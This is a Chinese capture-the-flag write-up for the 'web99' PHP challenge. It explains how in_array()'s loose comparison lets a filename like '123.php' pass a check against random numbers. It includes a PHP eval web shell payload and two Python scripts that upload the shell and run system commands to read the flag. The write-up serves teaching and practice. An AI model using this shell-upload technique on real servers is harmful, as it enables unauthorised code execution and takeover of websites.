web99笔记(in_array()函数、file_put_contents()函数)
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-18 22:36:12 # @link: https://ctfer.com */ highlight_file(__FILE__); $allow = array(); for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); } ?>
看一下代码,流程主要是先创建一个数组,接着往数组里添加rand()函数产生的随机数;
第二个if判断是否存在get参数n,并且用in_array()在数组里搜索值
最后用file_put_contents函数写数据到文件中
in_array(search,array,type)
| 参数 | 描述 |
|---|---|
| search | 必需。规定要在数组搜索的值。 |
| array | 必需。规定要搜索的数组。 |
| type | 可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。 |
如果给定的值 search 存在于数组 array 中则返回 true。如果第三个参数设置为 true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。 如果没有在数组中找到参数,函数返回 false。 注释:如果 search 参数是字符串,且 type 参数设置为 true,则搜索区分⼤⼩写。
没有第三个参数的时候进⾏的就是弱⽐较,就会存在强制的类型转换,如123.php就会转换成123
GET: ?u=123.php
POST:content=<?php @eval($_POST['mm']);?>
#-- coding:UTF-8 -- # Author:dota_st # Date:2021/2/23 18:43 # blog: www.wlhhlc.top import requests url = "http://5922e022-e938-4ec4-905f-0ccd7cf07cdf.chall.ctf.show:8080/" w_url = url + "?n=123.php" data1 = { 'content': '<?php @eval($_POST[mm]);?>' } get_shell = requests.post(url=w_url, data=data1) shell_url = url + "123.php" get_test = requests.get(url=shell_url) if(get_test.status_code==200): print("写入shell成功") data2={ 'mm': 'system("cat flag36d.php");' } res = requests.post(url=shell_url, data=data2) print(res.text)
import requests url = 'http://0272970f-dd04-4b71-bd9b-fd8b76ea6992.challenge.ctf.show/' shell = '124.php' data = {'content':"<?php @eval($_POST['mm']);?>"} url_shell = url+'?n='+shell YoN = True while YoN: getshell = requests.post(url=url_shell,data=data) shell_url=url+shell req = requests.get(url=shell_url) if(req.status_code == 200): print('[+]写⼊shell成功') data2 = {'mm':'system("tac flag36d.php");'} #先ls req2 = requests.post(url=shell_url,data=data2) print(req2.text) YoN = False else: print('[!]写⼊shell失败')
浙公网安备 33010602011771号